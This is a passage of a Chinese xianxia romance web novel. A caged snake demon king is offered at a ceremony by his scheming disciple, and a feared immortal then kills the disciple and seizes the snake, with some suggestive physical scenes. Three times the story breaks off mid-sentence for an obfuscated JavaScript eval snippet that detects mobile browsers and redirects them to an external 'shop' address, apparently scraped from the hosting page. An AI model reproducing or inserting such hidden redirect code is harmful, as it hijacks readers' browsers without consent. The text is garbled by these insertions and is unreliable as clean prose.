“……” 幼蛇依旧没有回答,白玉京似乎做好了无论他说什么都不答的准备。 沈风麟舔了舔虎牙,缓缓道:“甚至知道师尊是蛇妖,您知道为什么吗?” “——正是因为您那引以为傲的名字啊。” “其实师尊的名字,起得一点都不好呢。” 此话一出,像是踩到了蛇尾一样,引得白玉京蓦然抬眸看向他。 沈风麟见状一笑,说出来的话却几乎咬牙切齿:“什么天上白玉京……师尊怕是被他巧言冷色的描述给哄骗了,‘玉京子’指的本来就是蛇……为您起名字的人,似乎生怕旁人发现不了您的本体呢,师尊。” 凉夜之中对视,少年人眸底的阴暗与妒忌无处遁逃。 “看来我的前世,根本不爱您呢,师尊。” “要不然,他怎么会忍心抛你而去呢?” 白玉京最终依旧一个字也没说,扭头将自己蜷缩成一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716255|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈风麟又对他说了一堆奇奇怪怪的话,白玉京半个字也没听进去。 见他油盐不进,沈风麟面色奇差地在笼前站了良久,最终冷笑一声挥袖离开了。 不知道是因为心灰意冷还是因为恼羞成怒,眼下白玉京对于沈风麟并没有先前那么浓烈的感情了。 宛如总算从一场精心编织好的迷网中大梦初醒一般,无论是舐犊情深的喜爱,还是原本该由背叛产生的怨恨,此刻统统淡得像流水一样,在白玉京心头堪称无足轻重。 ……也是桩怪事,难道自己昏迷之后改修无情道了吗? “前辈……” 静谧的夜色中响起了一道怯生生的女声,白玉京这才想起来旁边还有一个人,于是甩了甩尾尖,收回了借给她的妖力:【本座不怪你,你走吧。】 苏九韶听到耳边用神识凝结成的声色,那声音如玉一般,和白玉京往常说话时的声色有一丝微妙的差异,更加清逸空灵。 ……这才是他真正的声音吗? 苏九韶心下念头一晃而过,面上则脱口而出道:“可是前辈分明能脱身……” 【与你无关,本座自有打算。】 白玉京恹恹地打断了她的劝告,苏九韶张了张嘴,见他不愿多言,最终只能作罢。 她离开前,将手上那枚储物戒取下来,郑重地放在了金笼的旁边:“前辈保重,您先前所赐之物……九韶受之有愧。” 言罢,她行了一礼,亦转身离去了。 白玉京用尾尖把那枚储物戒勾了进来,借着月色看向上面熟悉的纹路。 这还是他“陨落”前从某人身上顺来的储物戒,谁曾想转手刚送出去,自己就出了事……看来那王八蛋的东西果然晦气。 白玉京心下骂骂咧咧地收起储物戒,扭头直勾勾地看着自己的蛇腹,似乎在确定里面到底有没有东西。 半晌,他低头舔了舔那处没有鳞片覆盖的柔软部位。 ——毫无反应。 内里好似当真无事发生一样,不再疼痛,亦不再灼烧,哪怕用神识内窥,里面依旧空无一物,仿佛一切都是白玉京的错觉。 ……见鬼了。 白玉京沉默地盘在那里。 若是人形,由于实力与外貌使然,大部分人只会觉得他沉默时深不可测。 可现在原形毕露,整条蛇又小又白又软,呆呆地盘在那里时,看起来有些说不出的茫然。 所以白玉京不喜欢露出原形,更不喜欢让别人知道他的年龄。 但眼下没有别的办法了,沈风麟身上很明显存在怪异之处,如果直接摊牌掀桌,难免容易打草惊蛇,还不如按兵不动以探虚实。 白玉京陷入沉思,像小时候一样叼上了尾尖。 他记得昨天说话的声音其实有两道,第一道像个稚童,是被他吞进肚子里的金光发出的,目前去向不明。 第二道声音的音色没办法用言语很好的形容,但他可以确定,是沈风麟身边那抹蓝光发出的。 前面半段话,他只听懂了宋青羽三个字。 而后面半段话,白玉京当时几近昏迷,只记得依稀有一句是——【有不明仙种从仙界裂缝投下,疑似仙界观测者投放!】 ……所谓“仙种”,到底是字面意思的种子,还是别有寓意? 虽然一切谜团都怪异难解,但白玉京的直觉告诉他——想要破解一切,就得想个办法找到那枚“种子”。 而此刻,他的直觉又告诉他,最好不要轻举妄动。 一次又一次的事实向他证明,面对重大决策时,哪怕明知直觉的选择并非他最想要的结果,也最好顺从自己的直觉。 毕竟八百年来,每当他极力想要去寻求什么时,最终的结果永远都是竹篮打水一场空。 白玉京像幼时一样将自己盘成一团,在月色下叼着尾尖闭上了眼。 只是这一次,没人再教育他睡觉时不能咬尾巴了。 好在第一次悲痛欲绝,第二次……也就轻车熟路了。 第二日正午,流明戴着那枚玉蛇佩来看了白玉京,隔着笼子,笑着告诉他了一个“好”消息——沈风麟为他准备了一场献妖大典,连焚天大世界的仙尊都将为他亲临此方世界。 焚天这末流世界也是出息了,养出来的杂修居然敢自称仙尊,也不怕项上人头不保。 白玉京盘在笼中闭目养神,连半个眼神都欠奉。 流明见状,笑意一顿,语气跟着冷了下来:“对了,大典的时间前辈恐怕还不知道吧?” “就在三日之后。” “不过前辈放心,只是向仙尊献上妖丹与蛇鳞而已。” “最终,您还是会回到老祖身边的。” 6.献蛇 月华小世界最近有一桩大事。 新晋元婴老祖沈风麟的结婴大典上,有一个名不见经传的小蛇妖,因多喝了几杯酒不小心现出了原形。 原本这只是一件无足轻重的小事,但令人震惊的是,那妖修的原形竟是一条不足千岁的通天幼蛇! 所谓“万载长生,绝地天通”,传闻通天蛇的妖丹可破心魔劫,助享用者直入下一境界。 风麟老祖见状当机立断,直接扣下蛇妖,扬言要将此妖献于上界仙门,以传正道之威名。 此事一出,莫说月华小世界,便是某些以妖修为尊的中世界也不由得为之震动。 要知道,自妖主陨落至今已过十载,三千界诸妖无首,如今若再让通天幼蛇落入人族之手,恐怕要被其他五族耻笑万年。 为此,月华小世界的皓月妖祖大怒,当即扬言要亲自出手,夺回幼蛇。 一些人族修士闻言纷纷嘲讽他狼子野心,说他名义上为妖族出头,实则居心叵测,想将通天蛇据为己有。 正当人妖两族面上剑拔弩张,实则各怀鬼胎时,沈风麟不紧不慢地报出了长明宗的名头。 于是,不止皓月,几乎所有化神期以下的妖修闻言皆偃旗息鼓了。 长明宗虽为大世界顶级宗门,但某些虎踞一方的妖修大能对它并无太多惧意。 毕竟长明宗宗主烬瑜也不过合体巅峰,妖修多以族聚,哪个妖修祖上还没几个合体期大能呢。 然而,当又有消息传出,大世界的某位仙尊即将和烬瑜一起亲临大典时,剩下那些化神以上的妖修竟也诡异地安静了下来。 ——如此有鼻子有眼的消息中,居然没有提到这位仙尊的称号,实在有些大事不妙。 三千界中唯一一个不需要称号的仙尊,似乎便只有那一位了。 除此之外,离月华小世界最近的妖属中世界,乃是以寒系妖修闻名诸天的霜华中世界。 霜华妖王乃灵植出身,以世界为名,大乘大圆满。 从实力来看,她称得上四大妖王中数一数二的,再加上她本体特有的天赋,对周围小世界的统治力堪比渡劫大能。 然而这样一尊妖族大能,却对卧榻之旁即将受刑的通天幼蛇无动于衷。 小世界的妖修或许还在不忿于她的沉默,但中世界化神以上修为的妖修皆能看出事有蹊跷,一时间自然不敢轻举妄动。 如此一来,沈风麟的献妖大典一下子便扫清了所有阻碍。 春风得意之际,沈风麟“慷慨”地对外宣布,长明宗宗主感念其献妖之心,故赐他九名内门弟子之位。为扬正道之威,沈风麟愿将其中两位名额,送与大典之上的来宾。 此话一经放出,不到三日,月华小世界便再次热闹起来。 诸多修士带着灵石符箓、天材地宝汇聚于此,挤破脑袋只为得到大典请帖,以求一窥仙缘。 就规模与人声鼎沸的程度来看,此次献妖大典的阵仗几乎是不久前沈风麟那场结婴大典的数倍。 连虎踞月华小世界的苏家,都向沈风麟主动请缨,表示愿意操办这场大典。 为表诚意,苏家家主不惜拿出苏家历代亲传的仙胚“玲珑仙云台”作为大典举办场所,可谓下了血本。 这尊仙云台虽然在品级上并未达到真正的仙器水平,但依旧需要化神以上的修为方能催动,可惜苏家百年来青黄不接,自上任家主陨落后,如今的新家主也不过元婴修为。 因此,仙云台无法发挥真正作用,只能作为一尊供人宴饮宾客的华贵器物。 不过仅是如此,对于沈风麟来说便已经足够了。 包括典礼在内的一切都准备就绪后,剩下的便只有整场大典的真正主角了。 香炉中飘出氤氲的雾气,缭绕在祭台上方。 华贵的金笼内,白蛇脖子上系着红色的丝绸,像个精致的祭品一般安静地盘在那里。 金笼外被盖上了阻止神识窥视的法罩。 那绒面的红缎不知道是沈风麟从何处寻来的,艳红的底色上用金线绣着符咒,倒真营造出一种喜事临门的诡异气氛。 白玉京苦思冥想了数日,也没想明白沈风麟身旁那抹蓝光到底是什么,平生头一次跟自己不中用的脑袋生起了气。 正当他有气没地方撒时,一道熟悉的玉佩撞击声在笼外响起,什么人隔着法罩在白玉京面前站定,随之笑道:“前辈,该上路了。” ——谁是你前辈? 白玉京心下正冷笑着,另一道男声竟跟着嗤笑一声道:“前辈?什么前辈!不过是一条蠢到目中无人的畜生罢了。” “你难道忘了他当时赐我等养心丸时居高临下的姿态了?依我看,你还是太顾及体面了,流明。” 流明还没开口,另一道女声便淡淡提醒道:“惊春,慎言。” “怎么,难不成你怕他?”杜惊春夹枪带棒道,“还是说,你其实——” 眼见形势不对,流明连忙打断道:“怎么就我们几个,苏道友呢?” 望清荷并未在意杜惊春的挑衅,解释道:“她说他们家主拙笨,操持大典恐生差错,故去帮忙了。” “原来如此。”流明意味深长道,“不过依我看,大典倒也无需她时刻盯着,苏道友恐怕是嫌我们这些人碍眼,不愿来罢了。” 杜惊春冷笑道:“狗眼看人低的女人。” “她不愿来也无妨。”望清荷淡淡道,“玲珑心我已练至五重,假以时日便可取她而代之。至于苏九韶此人……到了长明宗,老祖自有办法,你们无需多言。” ……取而代之? 白玉京心下蹙眉,在笼中忍不住咬了咬尾尖。 苏家七窍玲珑心乃是血脉传承的天赋,外人便是换血也没办法习得。沈风麟有何本事能让他座下的望清荷随手捻来? ……他的好徒弟,身上到底还有多少秘密瞒着他? 还有这足以遮蔽渡劫期神识的布料,沈风麟到底从何得来的,和那蓝光有关吗? 白玉京抬眸看向那鲜红的绸缎,半晌吐出被咬到发软的尾尖,眸色缓缓凝重下来。 以及……沈风麟座下这些人如此胸有成竹,他们是否早已得知那抹蓝光的存在? 答案无从得知,眼下这些人也不可能给他一个清楚的回答。 但白玉京靠着直觉感觉到,大概从始至终……只有他一个人被蒙在鼓里。 他自以为爱屋及乌,以师长的名义教育众人时,殊不知在这些人眼中,他不过是一个目空一切、傲慢矜高到让人生厌的垫脚石罢了。 白玉京缓缓闭上双眼,深吸了一口气。 ……罢了,何必与一帮将死之人生气呢。 他是时常遇人不淑,因此饱受某人的嘲讽,不过也托那些经历的福,对于处理白眼狼的手段,他倒还算轻车熟路。 堂堂妖皇,给出去的一切若是不能十倍讨要回来,待来日岂不是让某人笑话。 金笼之外,流明嘴上和其他人聊着天,眼睛却止不住地向笼内看去。 然而无论他们用多么过分的言语交流,笼中依旧没有任何动静。 就好像,无论恨意还是蔑视,在那条蛇眼中通通都不重要一样。 “……” 流明止住话头,神色阴郁地看着金笼,正当他忍无可忍,抬手想去掀起红缎时,身后突然传来一道瘆人的冷意。 “……!” 流明一怔,仓皇回头,却见沈风麟带着微笑从远处走来,只是双眼却冷得瘆人。 “……老、老祖!” “参见老祖!” 众人连忙行礼,沈风麟没接话,只是冷冷地扫了流明一眼。 不过低头时,他却立刻换了副面孔。 只见他小心翼翼地掀起红绸,对着笼中柔声道:“师尊,日安。” 白蛇一如既往地盘在那里,闻言头都没抬一下。 沈风麟却好似早已习惯了白玉京的冷漠,见状满不在意地笑了一下:“师尊,别怕,等会儿只会痛一下。” “结束后,我保证会把你带回来的,还请师尊放心。” 只掀起了片刻的红缎再次盖在金笼之上。 沈风麟一眨不眨地看着雾气之中,即将被他亲手献出的祭品,眼底尽染疯狂与痴迷。 就这样恨我吧,师尊。 浓烈的感情需要疼痛来开路,浓重的爱意,则需要恨意来衬托。 所以,如果做不到只看着我一个人的话,就恨我吧。 只可惜,洋洋自得的少年并不知道,他自以为惊天泣地的爱恨,在白玉京心中,其实还不如他在某个人眼中的颜面重要。 沈风麟噙着笑意,捧起他虚无缥缈的美梦,转身向仙台走去。 仙乐齐鸣间,举世瞩目的献妖大典隆重开幕。 大典之内高朋满座,无数修士屏气凝神,将神识聚集在仙台中央。 只不过,一切繁杂的流程都和白玉京无关,他只是静静地盘在笼中。 艳红的绸缎隔绝了一切神识,使得他既感受不到外界环境,也看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721033|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到任何景象,只能凭借耳边微弱的声音,隐约推测大典流程。 不过白玉京也并不在乎这什么献妖大典,他早已打定主意,无论长明宗来的是哪个仙尊,到时只要把对方激怒,而后借那人之手假死逃生,一切便可一了百了了。 所以他并未看见,仙台之上,七颗玲珑星高悬,汇作北斗。 而在天枢星正对的北辰之位上,此刻正坐着于上界亲临的白衣上仙。 昔日的爱徒捧着金笼,从仙云台下拾级而上,每上一步,台上便会响起一声浩瀚无垠的钟声。 沈风麟的灵气前所未有的浓烈,连笼中的白玉京都能听到他激动不已的心跳声。 苏九韶立于天璇之位,被高台之上的灵气压得几乎喘不过气,她硬撑着攥紧手心,一言不发地看向大典中央。 她终归什么也做不到,只能看着那条可怜的幼蛇,系着红绸,宛如祭品一样,被端上神明的餐桌。 沈风麟座下的所有人都透着股诡异的狂热,如同那日酒宴上一样,一动不动地凝视着他们选定的主人。 眼前的一切,都荒诞得像噩梦中的皮影戏,诡异至极,却没有任何人出来阻止。 ……是她疯了,还是这个世界疯了? 沈风麟身着华服,最终高举金笼于台前跪下。 第八十一道钟声响起,而后万籁俱寂,天地间彻底安静了下去。 其实短短几日内,白玉京早就想清楚了一切。 人死如灯灭,想来玉蛇也好,重逢也罢,转世报恩不过是他的一厢情愿。 他的恩公早已埋葬在那处山巅,往后一切,不过是他在刻舟求剑。 可当最后一点钟声在耳边缓缓散去时,白玉京还是有些不争气地抬起头,看着眼前血红的布料,忍不住想起了久远的曾经。 【我许什么愿恩公都能实现吗?】 【嗯,只要你想。】 【那卿卿想和恩公永远在一起!】 【注定要实现的事情,不能称之为愿望。】 【哦,那好吧……卿卿想学化形,想变成和恩公一样。】 【好,如你所愿。】 记忆与现实交织,笼外响起了少年人略带紧张的激动声音:“此为金丹期通天幼蛇,特献于仙尊……!” 【卿卿,化形之后,就不能再像小蛇一样缠在我手上了。】 “为什么?是我化形化得不好看吗?恩公不喜欢这张脸的话,我可以换。” 【不是,很漂亮,但你还太小……松开,不许夹腿,也不许磨。】 “不要!”那似乎是记忆中,白玉京第一次顶撞那个人,他死死地夹着对方的手,仰着才化形还略显青涩的脸,倔强地反驳道:“我已经一百岁了,不小了。” 凡人所谓沧海桑田,也不过以百年为界。 可如今,八百年过去了,恩公。 记忆中的容颜逐渐模糊,再一次变回了那张他永远,永远也看不清容貌的脸。 这次他没有私自下山,也没有不听话,命运还是如出一辙。 原来刻舟求剑的最终下场便是物是人非。 不过好在他已经不是小蛇了,那枚玉蛇模样的长生坠……他也不需要了。 然而,此念头一出,仿佛被什么人听了去一样。 白蛇正呆呆地回忆着往事,一只手却在此刻突然掀起金笼上的红缎,笼中刹那间天光明彻。 那只手像是掀起了盖在他头顶暗不见天日的幕布,又像是掀起了大喜之日时,新娘艳红的盖头。 风雪凛冽的气息混杂着阳光洒满整个金笼,一下子扫清了白蛇的所有思绪。 “……?” 白玉京从回忆中惊醒,下意识抬眸。 而后,他满腔的情绪一下子冻住,整条蛇瞬间僵在了原地。 所有的惆怅、哀默、妄自菲薄和怨恨,在这一刻通通灰飞烟灭。 只见金笼之外,一张英俊到让人生厌的熟悉脸庞,正居高临下地凝视着他。 那双眼睛冰冷异常,本该没有丝毫感情,眼下却不知为何,透出了一股微妙且瘆人的怒意。 挂着红绸的白蛇在祭坛中央,隔着金笼怔愣地与男人对视,艳丽的绸缎被风吹出囚笼,于空中熠熠飘扬。 天地都为这一幕安静了下去。 然而,下一刻,白玉京瞳孔猛地缩成一条竖线,整条蛇好似看到了天敌一样,不受控制地瞬间炸了所有鳞片。 ——玄冽!? 这王八蛋怎么会在这里!? 7.斩落 眼下白玉京的心情说是晴天霹雳也不为过。 先前所有的惆怅与释然在此刻荡然无存,只剩下铺天盖地的难堪与羞恼。 挂着红绸的白蛇面上乖巧地仰着脸,心下却堪比五雷轰顶。 ——玄冽到底为什么会出现在这里?! 一个小世界的通天幼蛇而已,怎么会轮得到他亲临?! 堂堂玄天仙尊、正道魁首,这王八蛋就没别的事做了吗? 不可思议的震惊下,白玉京于羞恼中又泛起了一股微妙的怨恨。 这人既然这么闲,为什么不去劝一劝青羽?那分明也是他看着长大的姑娘,他早知飞升有蹊跷,青羽飞升前他怎么拦都不知道拦一下? 新仇旧怨交织在一起,几乎烧光了白玉京的理智。 这下子丢人丢大发了,这石头恐怕能以此嘲弄他上百年……还不如直接自爆算了! 白玉京刹那间忘记了自己几天以来的卧薪尝胆,更忘了沈风麟身上的怪异之处,满脑子只剩下和眼前人同归于尽一个念头。 对,直接自爆,然后假死逃跑,这样世界上就没人会知道他又养了白眼狼的事情,更没人会拿这事嘲笑他了。 然而,就在白玉京鬼迷心窍打算挣脱束缚时,一股微妙的清明从腹部攀缘而上,宛如秋日飒爽的凉风一般,蓦然吹进他燥热的脑海。 ……不对。 白玉京突然想起来,他其实在玄冽面前只现出过一次原形——就是他怀恨在心,故意潜入对方浴宫内咬人的那次。 但当时他为了不在玄冽面前露怯,故意幻化做成年通天蛇模样,只一片蛇鳞便和那臭石头的头一样大。 两人当时同为渡劫,再加上玄冽正在炼狱池内煅体,不可能看穿他的伪装。 更何况,浴宫内突然冒出一条遮天蔽日,眼眸宛如星辰般的巨蟒,玄冽当时恐怕已经被他威风凛凛的“原身”吓傻了,所以…… 正当白玉京难得谨慎地蜷缩着尾尖,深思熟虑地推测着眼前人认出自己的可能有几分时,玄冽突然打开笼子,直接将手递到了他面前。 “……?” 一人一蛇对视了三秒,玄冽似乎失去了耐心,冷着脸以一种非常失礼,完全不符合仙尊身份的方式,拽着白玉京的尾巴直接把小蛇从笼子中揪了出来。 “……!” ……这下流的王八蛋!没人教过他不能拽蛇妖的尾巴吗!? 白玉京又羞又怒,心中把玄冽骂了个狗血喷头,面上则生怕自己尊贵的头撞到门上,连忙低下头缠在对方手腕上。 沈风麟和他座下之人都被这突如其来的变故惊得愣在了原地,一时间不知道这位上界来的仙尊到底想干什么。 白玉京翘起脑袋对玄冽怒目而视,那双他无比熟悉的眼睛此刻正冷冷地看着他,眸底不带一丝情绪。 白玉京看见他这副故作高深的冷淡模样就来气,恨不得开口咬他。 下一秒,玄冽突然开口道:“金丹期?” ……这狗东西没认出我。 白玉京深知玄冽的德行,这臭石头要是认出他,问的第一句话绝对不会是这个。 想到这里,白玉京瞬间松了口气,连带着扬起的头也跟着软了下来。 从外人角度看,那幼蛇仿佛找到依靠一般,用尾尖乖巧地圈着那人的手腕,低头默认了对方的质问。 白蛇脖子上鲜艳的红色丝绸绕过玄冽的手腕,在他凛冽的衣袖上添了股别样的色彩。 “……” 无人发现的暂隙,玄冽的呼吸微妙地凝滞了一下,不过很快便恢复了原状。 将蛇妖从笼中取出后,按照规程,下一步便该在仙台中央剖丹剜鳞了。 苏九韶吞了吞口水,紧张得灵力紊乱,语速不自觉地快了几分:“恭请仙尊,登台取丹——” 沈风麟似是听出了她语气中的颤抖,抬眸意味不明地看了她一眼。 苏九韶心脏骤停,脑海中一片空白。 ……狡兔死,走狗烹。 献蛇大典之后,是不是就轮到她了? 就在苏九韶六神无主,丹田内的灵气因为紧张险些紊乱时,沈风麟却突然如电般收回目光。 苏九韶尚未回神,完全靠着下意识僵硬地扭头,顺着他的目光看过去。 只见玄冽竟托着小蛇起身,转身向远处的北辰之位走去,俨然一副对规程熟视无睹的样子。 沈风麟看出了玄冽的意图后,面色骤变,脱口而出:“——还请仙尊留步!” 玄冽脚步一顿,竟当真停下,扭头冷冷地看向他。 如此近距离之下,渡劫期超越小世界承受范围的威压凝如实质,压得沈风麟几乎喘不过气。 可不知道是玄冽的顿足给了他自信,还是因为其他什么东西给了他底气,沈风麟硬是撑着快要被挤爆的丹田,从牙缝中挤出一段话:“烬宗主传达之意或许有误。” “晚辈所愿供者,唯蛇鳞与妖丹而已,还请仙尊剥鳞剖丹后——” “将爱宠归还。” 此话一出,整个仙云台骤然安静下去。 大典之上鸦雀无声,气氛宛如冰封一般,被点名的烬瑜本人更是目瞪口呆地看着沈风麟。 过了足足十息那么久,在场众人才在震惊中陆续回神——沈风麟声势浩大地弄了这么个献妖大典,玄天仙尊赏脸亲临,他不说感激惶恐也就罢了,居然敢当场开口,企图把献出去的蛇妖从仙尊手中夺回来! 他疯了? 这一念头在不少人心中呼之欲出,但没人敢在这个时候开口。 就在这种万众瞩目又令人窒息的氛围中,玄冽终于转过了身。 他先是冷冷地看了一眼手腕上的白蛇,随即一字一顿地重复道:“爱、宠?” ……爱你个头! 白玉京愣了一下后勃然大怒。 他原本还在旁观看戏,一边诧异于沈风麟的胆大包天,居然敢从玄冽这个闻名诸天的冷面疯子手里抢东西,一边幸灾乐祸地等着看玄冽的反应。 可直到听了玄冽的反问,他才陡然回神,意识到自己居然在玄冽面前被沈风麟称为妖宠,于是当即恼羞成怒,连逆鳞都竖起几分。 ——沈风麟算个什么东西,也配称本座为妖宠? 而且在玄冽这厮面前口出狂言……简直奇耻大辱! 白玉京怒极之下刚想发作,突然,一股他更加熟悉的,磅礴的,肃杀的诡异灵力蓦然炸开,瞬间铺满了整个仙台。 沈风麟瞳孔骤缩,下意识想运起灵力,却已经来不及了。 铺面而来的灵气刹那间冻结了他的五感,天地在这一刻黯淡失色,巨大的耳鸣声中,沈风麟甚至隐约听到了自己丹田结冰的声音。 电光火石间,白玉京在玄冽铺开的乾坤中,看到了挡在沈风麟身前的那抹蓝光。 那像是一抹垂下的水幕,幽蓝色的幕布上滚动着密密麻麻的奇怪字样。 【警告!警告!启动紧急#*%功能,还请宿——】 又是那道奇怪的声音,只不过这次它好似坏掉一般,“宿主”二字没说完,便戛然而止了。 随着声音消失,沈风麟面前的“水幕”紧跟着被浩瀚的灵气无情碾碎,铺天盖地的寒意席卷而来。 苍茫的“大雪”之中,沈风麟于极度的恐惧中抬眸,看到了一点瘆人的暗红。 诡异的红在白茫茫的天际逐渐弥漫开来,最终铺满整片天幕,宛如末日之下,硕大的不详血月一样,缓缓降下。 开什么玩笑……这怎么可能是正道仙尊该有的乾坤境!? 沈风麟瞠目欲裂,绝望凝绝成实质,可身体却在磅礴的威压下动弹不得。 为什么……为什么一切都在按系统给的攻略进行,却会在这里折戟沉沙?! ……等等! 沈风麟脑海中突然划过一道闪光,心脏猛地再次跳动起来。 对了,他还有师尊…… 他的思维在极端的危机下已经彻底紊乱了,他似乎忘了,他所谓的师尊,不久之前才给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725427|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲手交出去。 白玉京绝对不会对他见死不救! 面色狰狞、眼底充血的少年天才从未像眼下这般狼狈过。 他发不出任何声音,只能像抓住救命稻草一样,在内心大喊,祈祷像过去任何一次一样,什么人从仙壶中飘出,一边嫌弃地骂他,一边利落地帮他逢凶化吉。 只可惜,事与愿违。 沈风麟用尽最后一丝力气,带着孤注一掷的期待挣扎抬眸,然后,所有呼救在心底戛然而止。 血月与红绸交错,白蛇缠绕在行凶者的手腕上,居高临下地看着他,冷漠得仿佛在看一团即将坠落的肉块。 那是沈风麟丹田破碎前,脑海中印下的最后一幕。 被抛弃的茫然与恐慌还没来得及从心头涌现,下一刻,本能妄图逃离的元婴和丹田一起,被诡异的血煞包裹,随即应声而碎。 “砰——” 元婴期的丹田破碎声并不算多么清脆,不过还算悦耳。 原来十八岁便窥得元婴的天之骄子,死时也不并一定重于泰山。 原来他沈风麟的命,和他曾经在屏幕前操作过的任何一个角色一样,也可以轻如鸿毛。 从玄冽出手,到沈风麟坠下仙云台,一切快如闪电,事情几乎发生在转瞬之间,除白玉京外,无人窥探到事情本貌。 就连离得最近的苏九韶和远处的烬瑜都没能反应过来,待他们回过神时,一切已经尘埃落定了。 自此,仙云台上再无沈风麟此人。 全场寂静无声,但无数杂乱的神识,却像是惊恐至极的虫群一样,在台上猛地炸开。 不少修士都以为,哪怕是大世界仙尊,玄冽的实力多少也会受到一些小世界灵力上限的限制,未曾想渡劫大能打杀元婴依旧和捏死一只蚂蚁一般轻易。 恐惧如鬼雾般在众人心头散开,但明面上,包括沈风麟座下修士在内,大典上的所有人都战战兢兢地呆在原地,无一人敢动。 白玉京原本正翘着头欣赏沈风麟那几个追随者的恍惚与震惊,可腹中突然间传出来的异样却让他猛地一僵,随即整条蛇颤抖着蜷缩成一团。 怎么回事……肚子好难受…… 沈风麟彻底消亡之后,白玉京腹中的那抹诡异金光就像是突然得到了喘气的余地一样,一下子躁动起来。 腹中传来的并非疼痛,而是一种更加难以言喻的酸胀和酥麻。 “……!” 白玉京瞳孔骤缩,忍了仅不到半息,便被酸得麻了身体,直接从玄冽手上掉下去,再次砸在金笼上。 整条蛇软得几近瘫倒,雪白的蛇腹挤压在金笼的镂空处,连尾尖都撑不住摊开,可怜兮兮地挂在笼边。 不过这股莫名其妙的酥麻来得快去得也快,待它淡去后,一股暖洋洋的热意从腹部弥漫开来。 嘶…好舒服…… 前后强烈的对比将此刻腹部的舒适衬托到了极致,白玉京甚至忍不住甩了甩头。 然而,当他缓缓从余韵中睁开眼,看清楚眼前的一切后,他整条蛇却蓦然僵在了原地。 只见他原本被压在镂空处的蛇腹不知道什么时候被人翻了过来,此刻他竟然就这么敞着小腹,仰面躺在笼顶。 一双近在咫尺的眼睛平静地凝视着他,那双眼冷得比白玉京记忆中还要深不见底,像是被刻骨铭心的恨意浸泡了上万年,最终只剩下晦暗。 可那双眼的主人,此刻却正托着他绵软的蛇尾,众目睽睽之下,用手指缓缓按压着他尚在抽搐的小腹。 “……” “……!?” ——这不要脸的流氓在摸哪里!? 白玉京刹那间惊呆了。 对上白蛇愕然的目光,玄冽知道他已经恢复,却并未收回手指,反而直接将那只手在幼蛇面前伸开。 男人指腹上暧昧的水光看得白玉京一怔,还没等他用浆糊一样的脑子思考清楚那是什么,下一秒,玄冽便用冰冷且不容置喙的语气命令道: “盘上来。” 8.卿卿 玄天仙尊在百忙之中亲临月华小世界,还在一个元婴小辈的献妖大典上杀人夺宠。 此事不出两日便传遍了九界诸天,连鬼修聚集的九幽大世界都略知一二。 为此,不少修士热火朝天地谈论着玄冽的意图,不过大部分人都对他以仙尊之名光明正大出手打杀元婴的做法没有多大的诧异。 ——毕竟那可是以赫赫凶名“享誉”三千界的玄天仙尊,那元婴小辈居然敢当众向他讨要已经献出去的蛇妖,实在是无知者无畏。 不过众人对玄冽的手段不诧异,并不代表对他的目的也不诧异。 玄天仙尊为一条金丹幼蛇屈尊纡贵地降临小世界已经算是一桩奇事了,未曾想他为了此蛇居然还不惜出手打杀元婴,想来这些出格的行为应该和那蛇妖的妖丹无关。 毕竟灵族天生空心,不存在心魔劫一说,再加上玄冽堂堂渡劫,金丹幼蛇的妖丹对他来说也并无大用。 排除这些,剩下唯一的可能性一下子便水落石出了——想来玄冽所做的一切应当与那位陨落的妖皇脱不了干系。 世人皆知仙尊与妖皇不睦,十年前,玄天仙尊宁愿置名声于不顾,用不光彩的手段偷袭,也要将宿敌斩落。 如今得到了和妖皇一样同为蛇妖的妖宠,无论是用来羞辱失去妖主的妖族,还是用来彰显自己的身份,显然都很合适。 至于圈养妖宠一事是否符合正道魁首的名声…… 只能说,玄天仙尊此人,与世俗意义上的“仙尊”略有些差距。尤其是牵扯到妖皇之事时,他不管做出什么来,似乎都在情理之中。 大世界诸天对此事津津乐道,恨不得写成评书传颂,可小世界的诸多修士却被吓得肝胆俱裂,险些魂飞魄散。 三千世界的划分依据,和世界本身幅员辽阔与否并不相关,主要是由灵力上限决定。 小世界之所以为小世界,就是因为它们的灵力上限只够容纳至元婴修士,化神以上者在小世界不可久留。 一是因为他们的实力受小世界灵力限制,久留对他们本身的修行并无益处;二是因为,若修为过强之人在小世界久留,他们便会如同虹吸的泉眼一般,将整个小世界的灵气吞噬殆尽。 所以,对于小世界来说,如果将元婴修士的存在比作夜色中的火光,那么渡劫大能的气息,则宛如近在咫尺的烈日。 玄冽在大典上出手的一瞬间,连最近的霜华中世界都察觉到了余威,更不用说身处其中的月华小世界了。 整个小世界的修士就像是被架在太阳边缘炙烤一样,恐惧得瑟瑟发抖、人人自危。 